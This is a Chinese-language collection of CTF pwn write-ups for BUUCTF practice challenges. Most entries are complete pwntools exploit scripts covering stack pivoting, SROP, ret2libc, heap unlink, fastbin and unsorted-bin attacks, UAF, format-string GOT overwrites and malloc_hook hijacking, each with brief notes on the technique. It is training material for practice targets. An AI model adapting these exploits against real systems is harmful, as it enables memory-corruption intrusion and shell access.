bjdctf_2020_babystack2 栈迁移 利用printf获取上个栈帧的ebp:printf遇到 \x00 就会截断,如果我们输入的内容正好把ebp前面的区域完全覆盖,就可以带出ebp。
上个栈帧的ebp(0xffffdo58)到输入s(0xffffd020)的距离是0x38。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(os = 'linux' ,arch = 'i386' ,log_level = 'debug' ) p=process('./ciscn' ) system=0x08048400 leave_ret=0x080484b8 p.send(b'a' *0x24 +b'bbbb' ) p.recvuntil('bbbb' ) ebp_addr=u32(p.recv(4 )) payload=b'a' *4 +p32(system)+p32(0 )+p32(ebp_addr-0x28 )+b"/bin/sh" payload=payload.ljust(0x28 ,b'\x00' ) payload+=p32(ebp_addr-0x38 )+p32(leave_ret) p.sendline(payload) p.interactive()
ciscn_2019_s_3 SROP sys_write(1u, buf, 0x30uLL) buf的长度为0x10,所以可以带出栈中的数据。减去offset 0x118得到buff的栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) p=process('./ci' ) p.sendline(b'/bin/sh\x00' *2 +p64(0x4004ed )) p.recv(0x20 ) addr=u64(p.recv(8 ))print (hex (addr)) addr1=addr-0x118 frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = addr1 frame.rsi = 0 frame.rdx =0 frame.rip=0x400517 paylaod = b'/bin/sh\x00' *2 + p64(0x4004da ) + p64(0x400501 ) + bytes (frame) p.sendline(paylaod) p.interactive()
babyheap_0ctf_2017 unsorted bin attack、fastbiin attack https://cloud.tencent.com/developer/article/1764339
思路:
首先使用堆溢出以及unsortedbin attack得到libc加载
申请5个 chunk,chunk0用于修改chunk1、2,chunk1、2通过free将chunk4带入fastbin,chunk3用于修改chunk4;
free chunk1、2,通过修改chunk0将chunk2,4加入fastbin,并通过chunk3修改chunk4大小(为了成功将chunk4从fastbin种申请出来);
从fastbin申请出来chunk4,此是index=2,index2,size=0x10和index4,size=0x80指向同一地址;
将index4 size位还原0x91,free index4进入unsortedbin,fd、bk都指向main_arena + 0x58;
因为inde2指向index4所以,输出index2就可以得到main_arena + 0x58地址,通过偏移就可以算出libc基址;
此时堆情况如下,然后使用fastbin attack修改malloc_hook
重新申请index4,size 0x60,然后将其free进入fastbin,再次使用index2的指针向index4写入malloc_hook-0x23,将fake chunk加入fastbin;
1 readelf -s libc-2.23.so|grep malloc_hook
申请两次得到fake chunk,向fake chunk写入onegadget,实现劫持malloc;
执行malloc,实际执行onegadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' , terminal = ['tmux' , 'splitw' , '-h' ]) p=remote("node4.buuoj.cn" ,27332 )def allo (size ): p.recvuntil("Command: " ) p.sendline(str (1 )) p.recvuntil("Size: " ) p.sendline(str (size))def fill (idx,size,content ): p.recvuntil("Command: " ) p.sendline(str (2 )) p.recvuntil("Index: " ) p.sendline(str (idx)) p.recvuntil("Size: " ) p.sendline(str (size)) p.recvuntil("Content: " ) p.sendline(content)def free (idx ): p.recvuntil("Command: " ) p.sendline(str (3 )) p.recvuntil("Index: " ) p.sendline(str (idx))def dump (idx ): p.recvuntil("Command: " ) p.sendline(str (4 )) p.recvuntil("Index: " ) p.sendline(str (idx)) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x10 ) allo(0x80 ) free(1 ) free(2 ) payload = p64(0 )*3 + p64(0x21 ) + p64(0 )*3 + p64(0x21 ) payload += p8(0x80 ) fill(0 ,len (payload),payload) payload = p64(0 )*3 + p64(0x21 ) fill(3 ,len (payload),payload) allo(0x10 ) allo(0x10 ) payload = p64(0 )*3 + p64(0x91 ) fill(3 ,len (payload),payload) allo(0x80 ) free(4 ) dump(2 ) content = u64(p.recvuntil('\x7f' )[-6 :]+b'\x00\x00' ) print (hex (content)) libc_base = (content) - 0x3c4b78 print (hex (libc_base)) allo(0x60 ) free(4 ) payload = p64(libc_base + 0x3C4AED ) fill(2 ,len (payload),payload) allo(0x60 ) allo(0x60 ) payload = b'a' *(0x23 -0x10 ) payload += p64(libc_base+0x4526a ) fill(6 ,len (payload),payload) allo(20 ) p.interactive()
ez_pz_hackover_2016 栈溢出rop
1 2 3 4 5 6 7 8 9 from pwn import * context(os = 'linux' , arch = 'i386' , log_level = 'debug' ) p = remote("node4.buuoj.cn" ,29156 ) p.recvuntil('0x' ) stack_addr = int (p.recv(8 ),16 ) payload = b'crashme\x00' +b'M' *0x12 + p32(stack_addr-0x1c ) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()
pwnable_orw ORW、seccomp ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag内容。
1 2 seccomp 是 secure computing 的缩写,其是 Linux kernel 从2 .6 .23 版本引入的一种简洁的 sandboxing 机制。主要功能是限制直接通过syscall去调用某些系统函数。最初,Seccomp 只允许使用read、 write、_exit、sigreturn 4 个系统调用,一旦调用其他系统调用时,内核就会发送 SIGKILL 信号终止进程。seccomp 是通过prctl系统调用来进行设置的
安装seccomp-tools 查看seccomp。使用apt-get安装ruby版本太低可能导致安装失败,建议从ruby官网 编译安装。
1 2 3 4 5 6 7 8 9 tar -zxvf ruby-3.0.0.tar cd ruby-3.0.0 sudo ./configure sudo make sudo make install sudo gem install seccomp-tools# sudo gem install one_gadget seccomp-tools dump ./orw
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = remote("node4.buuoj.cn" ,28070 ) shellcode = shellcraft.open ('/flag' ) shellcode += shellcraft.read('eax' ,'esp' ,100 ) shellcode += shellcraft.write(1 ,'esp' ,100 ) shellcode = asm(shellcode) p.recvuntil("shellcode" ) p.sendline(shellcode) p.interactive()
[Black Watch 入群题]PWN 栈迁移 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import * context(os='linux' , arch='i386' , log_level='debug' ) p = remote("node4.buuoj.cn" ,28097 ) elf=ELF('./spwn' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] p.recvuntil("What is your name?" ) p.sendline(b'a' *4 +p32(write_plt)+p32(0x8048513 )+p32(1 )+p32(write_got)+p32(4 )) p.recvuntil("What do you want to say?" ) p.send(b'a' *0x18 +p32(0x0804A300 )+p32(0x08048408 )) write_addr=u32(p.recv(4 )) log.info(hex (write_addr)) libc =LibcSearcher('write' ,write_addr) libcbase=write_addr-libc.dump('write' ) system=libcbase+libc.dump('system' ) sh=libcbase+libc.dump('str_bin_sh' ) log.info(hex (system)) log.info(hex (sh)) p.recvuntil("What is your name?" ) p.sendline(b'a' *4 +p32(system)+p32(0 )+p32(sh)) p.recvuntil("What do you want to say?" ) p.sendline(b'a' *0x18 +p32(0x0804A300 )+p32(0x08048408 )) p.interactive()
[ZJCTF 2019]EasyHeap unlink 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) p=remote('node4.buuoj.cn' ,26555 ) elf=ELF('./easyheap' ) heaparray=0x6020E0 free_got=elf.got['free' ] system_plt=elf.plt['system' ]def creat (size,content ): p.recvuntil("Your choice :" ) p.sendline('1' ) p.recvuntil("Size of Heap :" ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.sendline(content) def edit (index,size,content ): p.recvuntil("Your choice :" ) p.sendline('2' ) p.recvuntil("Index :" ) p.sendline(str (index)) p.recvuntil("Size of Heap : " ) p.sendline(str (size)) p.recvuntil("Content of heap : " ) p.sendline(content)def dele (index ): p.recvuntil("Your choice :" ) p.sendline('3' ) p.recvuntil("Index :" ) p.sendline(str (index)) creat(0x80 ,'aaaa' ) creat(0x80 ,'aaaa' ) creat(0x10 ,'/bin/sh\x00' ) palyload=p64(0 )+p64(0x81 )+p64(heaparray-0x18 )+p64(heaparray-0x10 ) palyload=palyload.ljust(0x80 ,b'a' ) palyload+=p64(0x80 )+p64(0x90 ) edit(0 ,0x90 ,palyload) dele(1 ) edit(0 ,0x20 ,p64(0 )*3 +p64(free_got)) edit(0 ,8 ,p64(system_plt)) dele(2 ) p.interactive()
hitcontraining_uaf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context(os = 'linux' , arch = 'i386' , log_level = 'debug' , terminal = ['tmux' , 'splitw' , '-h' ]) p=process('./hacknote' )def add (size,content ): p.sendlineafter('choice :' ,'1' ) p.sendlineafter('Note size :' ,str (size)) p.sendlineafter('Content :' ,content)def delete (idx ): p.sendlineafter('choice :' ,'2' ) p.sendlineafter('Index :' ,str (idx))def printf (idx ): p.sendlineafter('choice :' ,'3' ) p.sendlineafter('Index :' ,str (idx)) shell_addr=0x8048945 add(0x30 ,'aaaa' ) add(0x30 ,'bbbb' ) delete(0 ) delete(1 ) add(8 ,p32(shell_addr)) printf(0 ) p.interactive()
inndy_rop 静态编译不需要调用libc,gets()没有限制长度,找到可以一键getshell的rop片段组合加上偏移即可。
1 ROPgadget --binary rop --ropchain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context(os='linux' , arch='i386' , log_level='debug' ) r=process('./rop' )from struct import pack p = b'a' *0x10 p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += b'/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += b'//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) r.sendline(p) r.interactive()
cmcc_simplerop int 0x80 虽然同上都是静态编译,但是这次限制了输入长度,也没有system函数。但是使用ROPgadget发现int 0x80,可以借助int80(11,”/bin/sh”,null,null)执行。
https://blog.csdn.net/xiaominthere/article/details/17287965
1 2 cat /usr/i nclude/x86_64-linux-gnu/ asm/unistd_32.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * r = remote("node4.buuoj.cn" ,29705 ) int_addr = 0x80493e1 pop_eax = 0x80bae06 read_addr = 0x0806CD50 binsh_addr = 0x080EB584 pop_edx_ecx_ebx = 0x0806e850 payload = b'a' *0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(binsh_addr) + p32(0x8 ) payload += p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(binsh_addr) + p32(int_addr) r.sendline(payload) r.sendline('/bin/sh\x00' ) r.interactive()
[ZJCTF 2019]Login 反汇编和汇编 https://www.cnblogs.com/Theffth-blog/p/12674951.html
1 2 3 4 5 6 7 8 from pwn import * p = remote("node4.buuoj.cn" ,27382 ) p.sendlineafter('username: ' ,'admin' ) payload = (b'2jctf_pa5sw0rd' ).ljust(0x60 -0x18 ,b'\x00' )+p64(0x400e88 ) p.sendlineafter('password: ' ,payload) p.interactive()
wustctf2020_closed 这个题用两次close关闭了1和2,对应的文件描述符就是标准输出和标准错误输出。也就是说其实已经到执行system了,只是关闭输出后,无法查看回显。所以我们可以把标准输出重定向到标准输入。 https://blog.csdn.net/xirenwang/article/details/104139866
axb_2019_fmt32 格式化字符串-劫持got表、fmtstr_payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context(os = 'linux' , arch = 'i386' , log_level = 'debug' ) p = process("./fmt32" ,env={"LD_PRELOAD" :"./libc-2.23.so" }) elf = ELF("./fmt32" ) libc = ELF("./libc-2.23.so" ) read_got = elf.got['read' ] payload = b'a' + p32(read_got) + b'%8$s' p.sendafter('me:' , payload) read_addr = u32(p.recv(18 )[-4 :]) libc_base = read_addr - libc.symbols['read' ] one_gadget = libc_base + 0x3a80c payload = b'a' + fmtstr_payload(8 , {read_got: one_gadget},numbwritten = 0xa ) p.sendafter('me:' , payload) p.interactive()
pwnable_start 汇编shellcode、int 0x80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context(arch="i386" ,os="linux" ,log_level="debug" ) r=process('./start' ) payload = b"A" * 0x14 + p32(0x08048087 ) r.sendafter(":" ,payload) stack_addr = u32(r.recv(4 )) log.info(hex (stack_addr)) shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 " ) payload=b'a' *0x14 +p32(stack_addr+0x14 )+shellcode r.send(payload) r.interactive()
ciscn_2019_s_9 汇编shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) p=remote('node4.buuoj.cn' ,29280 ) jump_esp=0x8048554 shellcode=''' xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xB int 0x80 ''' shellcode=asm(shellcode)print (len (shellcode)) payload=shellcode.ljust(0x24 ,b'\x00' )+p32(jump_esp) payload+=asm("sub esp,40;call esp" ) p.sendline(payload) p.interactive()
others_babystack canary泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import * context(arch="amd64" ,os="linux" ,log_level="debug" ) r=remote("node4.buuoj.cn" ,25780 ) pop_rdi=0x400a93 elf=ELF('./babystack' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] main_addr=0x400908 r.sendlineafter(">>" ,'1' ) r.sendline(b"a" *0x88 ) r.sendlineafter(">>" ,'2' ) r.recvuntil('a\n' ) canary=u64(r.recv(7 ).rjust(8 ,b'\x00' ))print (hex (canary)) r.sendlineafter(">>" ,'1' ) r.sendline(b"a" *0x88 +p64(canary)+b'a' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)) r.sendlineafter('>>' ,'3' ) r.recv() puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) system_addr=libc_base+libc.dump('system' ) bin_addr=libc_base+libc.dump('str_bin_sh' ) payload=b'a' *(0x90 -0x8 )+p64(canary)+b'b' *0x8 payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr) r.sendlineafter('>>' ,'1' ) r.sendline(payload) r.sendlineafter('>>' ,'3' ) r.interactive()
ciscn_2019_n_3 UAF 每次create(new)会产生两块chunk(chunk0、chunk1),申请两次(chunk0-3),全部free;再次申请指定大小,将chunk0、chunk2申请出来,此时chunk0作为数据可写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] r = process("./ciscn" ) elf = ELF("./ciscn" ) system_addr = elf.symbols['system' ]def new (num,tp,length,value ): r.sendlineafter("CNote > " ,"1" ) r.sendlineafter("Index > " ,str (num)) r.sendlineafter("Type > " ,str (tp)) r.sendlineafter("Length > " ,str (length)) r.sendlineafter("Value > " ,value)def delete (num ): r.sendlineafter("CNote > " ,"2" ) r.sendlineafter("Index > " ,str (num))def show (num ): r.sendlineafter("CNote > " ,"3" ) r.sendlineafter("Index > " ,str (num)) new(0 ,2 ,0x30 ,"aaaa" ) new(1 ,2 ,0x30 ,"aaaa" ) delete(0 ) delete(1 ) payload = b'bash' + p32(system_addr) new(2 ,2 ,0xc ,payload) delete(0 ) r.interactive()
gyctf_2020_borrowstack 栈迁移 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) p = remote("node4.buuoj.cn" ,26941 ) elf=ELF('./stack' ) libc=ELF('./libc-2.23.so' ) rdi=0x400703 main=0x400626 one_gadget = 0x4526a puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] p.recvuntil("want\n" ) p.send(b'a' *0x60 +p64(0x601080 +0xa0 -8 )+p64(0x400699 )) p.recvuntil("now!\n" ) p.send(b'a' *0xa0 +p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)) puts_addr=u64(p.recvline()[:-1 ].ljust(8 ,b'\x00' )) log.info(hex (puts_addr)) libcbase=puts_addr-libc.sym['puts' ] one_gadget=libcbase+0x4526a p.recvuntil("want\n" ) p.send(b'a' *0x60 +b'a' *8 +p64(one_gadget)) p.recvuntil("now!\n" ) p.send(b'a' ) p.interactive()
hitcontraining_heapcreator off-by-one、chunk overlap
利用 off-by-one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小,然后 free 加入fastbin;
从 fastbin 中申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针;
通过show 泄漏libc,进一步修改free的got表地址,实现got表劫持。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) p=process('./heapcreator' ,env={"LD_PRELOAD" :"./libc-2.23.so" }) elf=ELF('./heapcreator' ) libc=ELF('./libc-2.23.so' )def create (size,content ): p.recvuntil(':' ) p.sendline('1' ) p.recvuntil('Heap : ' ) p.sendline(str (size)) p.recvuntil('heap:' ) p.sendline(content)def edit (idx,content ): p.recvuntil('choice :' ) p.sendline('2' ) p.recvuntil(' :' ) p.sendline(str (idx)) p.recvuntil('heap :' ) p.sendline(content)def show (idx ): p.recvuntil('choice :' ) p.sendline('3' ) p.recvuntil(' :' ) p.sendline(str (idx))def delete (idx ): p.recvuntil('choice :' ) p.sendline('4' ) p.recvuntil(' :' ) p.sendline(str (idx)) create(0x18 ,'aaaa' ) create(0x10 ,'bbbb' ) create(0x10 ,'cccc' ) edit(0 ,b'/bin/sh\x00' +p64(0 )*2 +b'\x81' ) delete(1 ) create(0x70 ,p64(0 )*8 +p64(0x8 )+p64(elf.got['free' ])) show(2 ) free_addr=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) log.success('free_addr: ' +hex (free_addr)) libcbase=free_addr-libc.symbols['free' ] system_addr=libcbase+libc.symbols['system' ] log.success('system_addr: ' +hex (system_addr)) edit(2 ,p64(system_addr)) delete(0 ) p.interactive()
hitcon2014_stkof unlink、栈溢出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * p = process("./stkof" ,env={"LD_PRELOAD" :"./libc-2.23.so" }) elf = ELF("./stkof" ) libc = ELF("./libc-2.23.so" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] free=elf.got['free' ]def add (size ): p.sendline('1' ) p.sendline(str (size)) p.recvuntil('OK\n' )def edit (idx,size,content ): p.sendline('2' ) p.sendline(str (idx)) p.sendline(str (size)) p.send(content) p.recvuntil('OK\n' )def delete (idx ): p.sendline('3' ) p.sendline(str (idx)) add(0x100 ) add(0x20 ) add(0x80 ) ptr=0x602150 payload=p64(0 )+p64(0x21 )+p64(ptr-0x18 )+p64(ptr-0x10 )+p64(0x20 )+p64(0x90 ) edit(2 ,len (payload),payload) delete(3 ) p.recvuntil('OK' ) payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(puts_got) edit(2 ,len (payload),payload) edit(1 ,8 ,p64(puts_plt)) delete(3 ) puts_addr=u64(p.recv(6 ).ljust(8 ,b'\x00' ))print (hex (puts_addr)) base=puts_addr-libc.sym['puts' ] p.recvuntil('OK' ) system_addr=base+libc.sym['system' ] payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(ptr+0x10 )+b"/bin/sh" edit(2 ,len (payload),payload) edit(1 ,8 ,p64(system_addr)) delete(3 ) p.interactive()
roarctf_2019_easy_pwn⭐ off-by-one、chunk overlap、unsorted bin attack、fastbin attack
步骤总结:
off-by-one实现chunk overlap,通过操作chunk1 可以操作chunk2;
free chunk2进入unsorted bin,通过show chunk1 得到main_arena+88地址,泄漏libc;
申请chunk2 0x80并再次free 进入fastbin,通过edit chunk1将包含malloc_hook的fake chunk加入fatbin;
两次申请后得到fake chunk,修改malloc_hook为onegadget。
注意:每次free fake chunk会检查下一个chunk的prev_size、size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * p = process("./easy_pwn" ,env={"LD_PRELOAD" :"./libc-2.23-64.so" }) elf = ELF("./easy_pwn" ) libc = ELF("libc-2.23-64.so" ) def menu (idx ): p.sendlineafter("choice: " ,str (idx))def add (size ): menu(1 ) p.sendlineafter("size: " ,str (size))def edit (idx,size,content ): menu(2 ) p.sendlineafter("index: " ,str (idx)) p.sendlineafter("size: " ,str (size)) p.sendlineafter("content: " ,content)def delete (idx ): menu(3 ) p.sendlineafter("index: " ,str (idx))def show (idx ): menu(4 ) p.sendlineafter("index: " ,str (idx)) add(0x18 ) add(0x10 ) add(0x90 ) add(0x10 ) payload = b"a" *0x10 + p64(0x20 ) + p8(0xa1 ) edit(0 ,0x18 +10 ,payload) payload = p64(0 )*0xe + p64(0xa0 ) + p64(0x21 ) edit(2 ,0x80 ,payload) delete(1 ) add(0x90 ) payload = p64(0 )*3 + p64(0xa1 ) edit(1 ,0x20 ,payload) delete(2 ) show(1 ) libc_base = u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) - 0x3c4b78 malloc_hook = libc.sym["__malloc_hook" ] + libc_base realloc = libc.sym["realloc" ] + libc_base add(0x80 ) payload = p64(0 )*3 +p64(0x71 )+p64(0 )*12 + p64(0x70 ) + p64(0x21 ) edit(1 ,0x90 ,payload) delete(2 ) payload = p64(0 )*3 + p64(0x71 ) + p64(malloc_hook - 0x23 )*2 edit(1 ,0x30 ,payload) add(0x60 ) add(0x60 ) one_gadget = libc_base + 0xf1147 payload = b"a" *11 + p64(one_gadget) + p64(realloc+4 ) edit(4 ,27 ,payload) add(0x60 ) p.interactive()
通过 realloc_hook 调整栈帧使 onegadget 生效,将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:
1 malloc ->malloc_hook -> realloc -> realloc_hook -> onegadget
原理:realloc函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后再跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址(一个 push ,rsp 就会向前移动一个内存单元),这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。
https://blog.csdn.net/Maxmalloc/article/details/102535427